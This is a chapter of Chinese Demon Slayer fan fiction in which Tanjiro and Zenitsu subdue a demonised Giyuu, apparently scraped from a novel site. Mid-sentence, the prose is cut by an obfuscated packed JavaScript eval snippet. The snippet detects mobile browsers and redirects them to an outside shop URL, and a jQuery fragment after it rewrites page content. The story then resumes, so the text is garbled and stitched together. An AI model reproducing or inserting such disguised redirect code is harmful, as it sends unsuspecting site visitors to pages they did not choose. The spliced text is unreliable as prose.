3. 第 3 章
作品:《【水中心】不辱》 鳞泷师傅以前用一个巴掌教会了炭治郎,如果变成鬼的弥豆子伤了人要怎么办。
杀了弥豆子,然后切腹自尽。
简单粗暴,且没有任何可以质疑的答案。
那么如果,自己变成鬼了要怎么办呢?
炭治郎想,在彻底鬼化之前自杀,这就是答案。
毕竟,如果作为鬼杀队的队士变成了鬼,死亡才算是解脱吧。
所以…
所以…
“为什么!”
“为什么你还活着!义勇先生!”
炭治郎握着手里的刀,眼睛里蓄满了泪水。
不远处,一道修长的身影正举着同样的刀劈向善逸。
尽管那人顶着一头乱糟糟,堪称是肮脏的头发,身上的双色羽织早已不见,只身着一袭暗红色的单衣,周身散发出浅淡的鬼的味道,但炭治郎仍然一眼就认出了他。
是他的师兄,富冈义勇。
但……
如野兽般的竖瞳、脸侧红色的海浪鬼纹、锋利的指甲和尖锐的牙齿,无一不在告诉炭治郎,眼前人已经……变成鬼了!
蓝色的刀光在黑暗中快速划动,善逸的距离最近,但他始终没办法成功砍下鬼的脖颈。
一方面是,他认出来这人就是炭治郎的师兄,不可置信之余也顾虑着自己好友的感受,刀变得迟疑了起来。
另一方面,也是最重要的原因,鬼化的水柱依然使用着呼吸法,一手水之呼吸登峰造极,他仅仅是抵挡就有些力不从心,根本打不过啊啊啊!
但这样不行的吧?
善逸的耳朵动了动,他听见水柱的心声十分混乱,不实杂夹着刺耳的喊叫。
‘好饿’‘好饿!’
‘不要’‘呃,为什么’
‘杀了他们!’‘吃了他们!’‘你是鬼!’
‘他们……谁?’
‘杀了……死……死!’
……
善逸咬了咬牙。
还是,还是要杀了他的吧?
毕竟已经变成鬼了。
但是!好可怕好可怕好可怕!噫!刀砍过来了!水柱!好可……诶?
传说中鬼杀队最蓝的刀停距离善逸脖颈的1cm处,有血顺着刀身滴落在他的肩头。
善逸眼瞳颤抖,他看见鬼化的水柱面无表情,一手持刀想狠狠地杀了他,但另一只手却又死死地攥住刀身。
善逸愣在了原地,一时竟忘记了逃跑。
直到看到鬼化水柱背后高高跃起的炭治郎,他才回过神来。
炭治郎闻到了浓郁的血腥味,红色氤氲在善逸明黄的羽织上。
义勇先生……伤了善逸?
要……杀了他?
他调整好在空中的水之呼吸第五型的握刀姿势,如果只能走到这一步,如果……
炭治郎握紧了手中的刀,红褐色的眼睛里充斥着痛苦和悲伤。
“水之呼吸,五之型……”
“等等!炭治郎住手!”善逸原地起跳,抱住眼前的鬼化水柱侧身翻滚,躲过了炭治郎的攻击。
只是刚一落地,他就感觉身下的人浑身僵硬无比,下一秒就被狠狠踢回了炭治郎身边。
“善逸!”炭治郎伸手扶住了善逸的身体。
“炭治郎!”善逸抓住炭治郎握刀的手,大喊道:“他还有意识!”
“意识?”炭治郎只是愣了一秒,就马上反应过来了:“你是说义勇先生他?”
“他刚刚想杀我,但是他阻止了他自己,哎!就是就是他刚刚没想杀我!”善逸道。
“我明白了,”炭治郎重新摆好进攻的姿势:“先把义勇先生带回去吧!”
说完就如炮弹般向前飞去。
“等……”善逸伸出的手僵在原地,有些抓狂道:“带回去啥啊!你打得过他吗炭治郎!”
炭治郎飞速的前进,他看的出来,义勇先生的动作原不如以前那般流利,就好像是生了锈的机器,招式间存在特别的明显的停顿。
但就算如此,他和义勇先生之间的差距也不是这一点能弥补的。
“善逸!”炭治郎一边运用流流舞迅速接近,一边喊道:“得想办法把义勇先生打晕!”
“啊啊啊啊啊!”善逸握着刀边跑边大叫道:“你一定要这么光明正大地喊出来吗!!”
“铛!”
炭治郎压低身子,凭借下压的重心抵挡住劈来的日轮刀。
他抬眼,直直望向那双空洞的蓝色眼镜中,大声道:“义勇先生!!我是炭治郎啊!!义勇先生!!”
蓝色的刀一收一刺,招式再次变化,“雫波纹击刺。”
糟了,离得太近了,炭治郎在刀尖刺到时扭过身体,勉强用扭转漩涡躲了过去。
正面对上义勇先生他根本找不到突破点,鬼化后的义勇先生仍然对水之呼吸了如指掌,他的所有招式都会被义勇先生轻松化解。
得换一种,用火之神神乐……
炭治郎在瞬息间加重呼吸,手中的刀似乎燃起了火焰。
“火之神神乐,三之型,烈日虹镜!”
黑刀横劈而过,目标却不是鬼的脖子,炭治郎调整着刀的走向,刀背朝前。
只是那刀还没接近鬼就被什么东西给用力弹开了。
“诶?”
刀被弹飞的力度连带着炭治郎顺势扯开距离。
他看着眼前在原地一动也没动的义勇先生,蓝色的刀仍然垂在暗色单衣的一侧。
刚刚,是什么?
义勇先生的十一之型?
不、不对!
炭治郎鼻尖闻到一股浓郁的玉钢的味道。
他迅速抬手,黑刀挡住从侧后方袭来的攻击。
是碎掉的刀片!
义勇先生手中那把日轮刀原没有之前那么长了,他能控制碎刀,是义勇先生的血鬼术吗?
炭治郎不断抵挡着四面八方来的攻击。
从不同方向而来的攻击越多,义勇先生手中的日轮刀就越短。
碎刀全部都是从他的刀中分裂出来的。
那么……如果那把刀的刀刃全部分裂出来,是不是就代表着义勇先生手中没有武器,是突破的好机会?
炭治郎用刀把挡住近在咫尺的攻击,朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081320|195326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不断靠近的善逸喊道:“善逸!我们……”
只是话还没说完就被善逸叫着打断:“啊啊啊!我知道了我知道了!你不要什么都说出来!!!”
善逸好歹是和炭治郎他们一起出过这么多次的任务,这点观察能力还是有的。
他只要等着炭治郎把碎刀全部吸引走,就能用霹雳一闪顺利打到鬼化水柱。
当然受伤是在所难免的,但如果要完全无伤地带走鬼化水柱,对他们而言还是太困难了点。
蓝色的日轮刀越来越短,直到只剩刀柄,机会!
善逸握紧了刀,腿部肌肉猛然用力,“雷之呼吸,一之型,霹雳一闪!两连!”
仿佛带着闪电的刀进入鬼化水柱的近身范围内,一击未中,那么就再来一次!抓住鬼化水柱动作间的迟钝,能行!
“噗呲!”
鲜血喷出,刀刃没入鬼的肩膀顺势将他钉死在树干上。
即使是鬼,被日轮刀所伤,其痛楚应该是要比用普通器具造成的伤害更重,但眼前这只鬼仿佛还留有身为柱的韧性,眼皮都没撩一下,只是抬手握住了贯穿自己的刀。
善逸能明显感觉到他的用力,日轮刀微微颤抖,善逸不得不用两只手稳住刀身,双腿用力蹬在地上,叫道:“炭治郎!!”
快速的脚步声从身后由远及近,炭治郎用圆舞打掉围攻他的碎刀,呼吸间转换招式。
“水之呼吸,九之型,水流飞沫!”
奔跑间不断变化着身姿躲避从后追来的攻击。
他从距离善逸两个身位的地方起跳,黑刀稳稳握在手上,转瞬间就要贴近义勇先生。
但即将下刀时,炭治郎看见义勇先生空洞无神的蓝眸,心中一乱,刀斜斜划过义勇先生的脸钉在树上。
“啊啊啊啊啊啊!炭治郎你在干什么!!!”善逸崩溃大叫,他感觉自己的刀快要被水柱拔出来了!再来一次就不一定会有机会了!!
炭治郎回神,看着咫尺间的义勇先生,咬牙抬头,一记头槌被毫无保留地用出!
“碰!”
“……啊,你,你,”善逸听到那声巨响,语无伦次:“呃,他,你,我……”
这一记头槌下去,真的不会把水柱给捶死吗?听这声音,一定很痛吧?!!
但好在,头槌攻击十分有效,握住善逸刀的手无力松开,鬼化水柱病态般的脸上出现两条细细的红线,流鼻血了……
他重新抬手,碎刀从后飞来,重新聚成了日轮刀。
“噫!他要反击!肯定生气了!都怪你炭治郎!!!你为什么要槌他!!”
善逸鬼哭狼嚎,抱着刀准备扯着炭治郎退后进行防御,就看见本来站着的鬼化水柱,就这么直挺挺的倒下了。
炭治郎伸手,在义勇先生倒地前抱住了他。
“晕……晕过去了?”
“啊,”炭治郎摸了摸自己的额头,道:“应该是晕了,毕竟我完全没收力呢。”
善逸看了看还是一脸温柔的炭治郎,又看了看晕倒过去的水柱,好像水柱额头上诡异地鼓起了一个大包。
炭治郎的额头!好可怕!

